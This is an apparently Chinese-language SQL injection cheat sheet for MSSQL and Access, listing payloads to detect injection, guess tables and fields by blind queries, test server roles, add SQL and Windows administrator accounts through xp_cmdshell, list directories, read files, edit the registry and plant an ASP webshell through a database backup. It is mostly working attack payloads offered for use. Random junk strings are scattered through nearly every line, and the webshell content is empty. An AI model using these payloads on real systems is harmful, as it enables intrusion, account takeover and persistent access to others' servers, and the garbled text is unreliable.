1.判断是否有注入;and 1=1 ;and 1=2 u01^ABn
2.初步判断是否是mssql ;and user>0 h(K4AiGE
f;6d/?= ~
3.注入参数是字符'and [查询条件] and ''=' =?x=CEW
1Vvx@1
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Q|r1.
T+( A7Qrx%
5.判断数据库系统 En%o7^W++
OF}_RGKg3
;and (select count(*) from sysobjects)>0 mssql %Q01EjRes
4IpFT; `q
;and (select count(*) from msysobjects)>0 access WWzns[$f
oMf h|B
l$@lk?dc
1a4 $.
{
6.猜数据库 ;and (select Count(*) from [数据库名])>0 !0_Y@>2
k !r z8S"
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JB}h}nb
WWs>@lCK
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 'v5gg2
mSp7H!
9.(1)猜字段的ascii值(access) ?NeB_<dLa`
G7xjW6^T
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 k82LCV+6
"6h.6_bTw
(2)猜字段的ascii值(mssql) 7t/SZm
RGOwm~a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *]u/,wCB
yQ2[[[@k@
10.测试权限结构(mssql) <<6#Uz.1
bsDUFXH]
[#H8Mb+7
D]y.!D{l2
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9a,CiH%@
[X\2U4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- b&&'b)
w%na n=
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- yFv3>\
Tl-B[CT
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- cViCWc2
z81!F'x;
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3"RZiOyv
oZw#Nd
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- U{m:{'np(H
QJ'C?hn
;and 1=(select IS_MEMBER('db_owner'));-- -hfY:W`Dz
NyNu1V$
o^J&c_U\3'
{%dQV#'c
11.添加mssql和系统的帐户 "=O)2}
\6L=^q=
;exec master.dbo.sp_addlogin username;-- P40eK0e6
;exec master.dbo.sp_password null,username,password;-- "[,XS`
rZ7 Ihof
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- %&NK|M+n
T!r7RS
;exec master.dbo.xp_cmdshell 'net user username password T9yW# .
%UhF=C
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- G3n7x?4m
|&.)_+w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4T-AWk
l"Q8`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- \U8Vsx1tl
2q bpjm
(6b%;2k
GW#Wy=(_
12.(1)遍历目录 W@Wh@eSb;
6OUjc
;create table dirs(paths varchar(100), id int) ;E_{Zji_e
-0Ek&"=Z^
;insert dirs exec master.dbo.xp_dirtree 'c:\' 6cvm\opH
9 R1]2U$|
;and (select top 1 paths from dirs)>0 ^}#!?"Y
c{q`uI;O
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W1z5|-T
=nl,5^
fq'Of
wT
~1oD7=WN
(2)遍历目录 C_/oORvK
a6OT2B
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- A
|B](MW%O
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 u ""=9>0
QO%K`}Q}
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h9mR+ng*oD
.N 2Yxty8>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7+bzCDKU
H?m2|.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 z m%\L/BF
k-/$8C
uVocl,?.L
y{<7OTA)
13.mssql中的存储过程 W*2SlS7
9"e!0Q4 0
xp_regenumvalues 注册表根键, 子键 Y|L57F
zc#`qa:0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ]SI`fja/
]Yy
Sf
xp_regread 根键,子键,键值名 P!/8
uQlV zN.?
;exec xp_regread Fk\xq`3'c
<|@9]>z
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 _rv_-n]"o
,&$Y2+
xp_regwrite 根键,子键, 值名, 值类型, 值 /(w5S',EL
p#w,+)1!d
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 "x)W3C%*S
C/JFg-r
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ZJqmD
Wil+"[Ge
xp_regdeletevalue 根键,子键,值名 2= _.K(
.6*A~%-=[d
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 cVMTT]cj1
3
V<8
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 R;%iu0
%AFy{l
R?(j#bk
GUxhCoxb
14.mssql的backup创建webshell 6ZE]7~X
N78Ev7PN
use model )L?Tq"hy
z{ 8!3>:E
create table cmd(str image); ]5/C"
&1&*(oi]X
insert into cmd(str) values (''); C,E 5/XW
>HDK<1 >
backup database model to disk='c:\l.asp'; @AwH?7(b
Gs%kqD{=
iR9iI!+;N
B0:O]Ax6.^
15.mssql内置函数 KLk37IY2\
JGtdbD?Fw
;and (select @@version)>0 获得Windows的版本号 'oTF$3n
? DPL7
;and user_name()='dbo' 判断当前系统的连接用户是不是sa O;w';}At
^6=nL<L
;and (select user_name())>0 爆当前系统的连接用户 SFjN5u
q&vr;fB2
;and (select db_name())>0 得到当前连接的数据库 j<c_*^/'9
TM+7>a$
8L#sg^1V
D`ZYF)[}J
16.简洁的webshell r`=d4dK-
mVxS[Gq
use model )9*WmF c+#
*]LM2J
create table cmd(str image); NH{0KZ
R
uJ[dO}
insert into cmd(str) values (''); \Tc$P#
S&a44i
backup database model to disk='g:\wwwtest\l.asp';